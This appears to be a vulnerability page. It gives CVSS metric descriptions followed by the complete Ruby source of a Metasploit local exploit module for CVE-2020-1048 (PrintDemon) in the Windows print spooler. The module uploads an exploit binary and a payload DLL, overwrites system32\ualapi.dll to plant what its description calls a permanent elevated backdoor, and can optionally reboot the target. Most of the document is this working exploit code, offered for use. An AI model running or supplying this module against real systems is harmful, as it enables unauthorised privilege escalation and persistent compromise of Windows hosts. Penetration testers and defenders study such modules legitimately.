The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Spooler Local Privilege Elevation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
'Description' => %q{
This exploit leverages a file write vulnerability in the print spooler service
which will restart if stopped. Because the service cannot be stopped long
enough to remove the dll, there is no way to remove the dll once
it is loaded by the service. Essentially, on default settings, this module
adds a permanent elevated backdoor.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yarden Shafir', # Original discovery
'Alex Ionescu', # Original discovery
'shubham0d', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2019',
'References' =>
[
['CVE', '2020-1048'],
['URL', 'https://windows-internals.com/printdemon-cve-2020-1048/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
},
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
)
)
register_options([
OptString.new('EXPLOIT_NAME',
[true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
OptString.new('PAYLOAD_NAME',
[true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
OptString.new('WRITABLE_DIR',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptString.new('OVERWRITE_DLL',
[false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),
OptBool.new('RESTART_TARGET',
[true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end
def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit = false)
# Upload Exploit
if target_arch == ARCH_X86
vprint_status('Using x86 binary')
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe')
else
vprint_status('Using x64 binary')
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe')
end
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
if file?(exploit_path)
print_error("#{exploit_path} already exists")
return false unless force_exploit
end
fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil?
write_file(exploit_path, exploit_bin)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
# Run Exploit
vprint_status('Running Exploit')
begin
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
output
end
def exploit
exploit_name = datastore['EXPLOIT_NAME']
vprint_status("exploit_name = #{exploit_name}")
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
payload_name = datastore['PAYLOAD_NAME']
if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty?
win_dir = session.sys.config.getenv('windir')
overwrite_target = "#{win_dir}\\system32\\ualapi.dll"
else
overwrite_target = datastore['OVERWRITE_TARGET']
end
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
payload_path = "#{temp_path}\\#{payload_name}"
exploit_path = "#{temp_path}\\#{exploit_name}"
payload_dll = generate_payload_dll
# Check target
vprint_status('Checking Target')
validate_active_host
validate_payload
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
# Upload Payload
vprint_status('Uploading Payload')
ensure_clean_destination(payload_path)
write_file(payload_path, payload_dll)
print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit")
sleep(datastore['EXECUTE_DELAY'])
# Run the exploit
output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture'])
vprint_status("Exploit output:\n#{output}")
sleep(1) # make sure exploit is finished
vprint_status("Removing #{exploit_path}")
session.fs.file.rm(exploit_path)
# Reboot, if desired
if datastore['RESTART_TARGET']
sleep(10)
vprint_status("Rebooting #{sysinfo['Computer']}")
reboot_command = 'shutdown /r'
begin
cmd_exec('cmd.exe', "/c #{reboot_command}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
end
end
def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_payload
vprint_status("Target Arch = #{sysinfo['Architecture']}")
vprint_status("Payload Arch = #{payload.arch.first}")
unless payload.arch.first == sysinfo['Architecture']
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
end
end
def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363
return Exploit::CheckCode::Safe
end
def ensure_clean_destination(path)
return unless file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end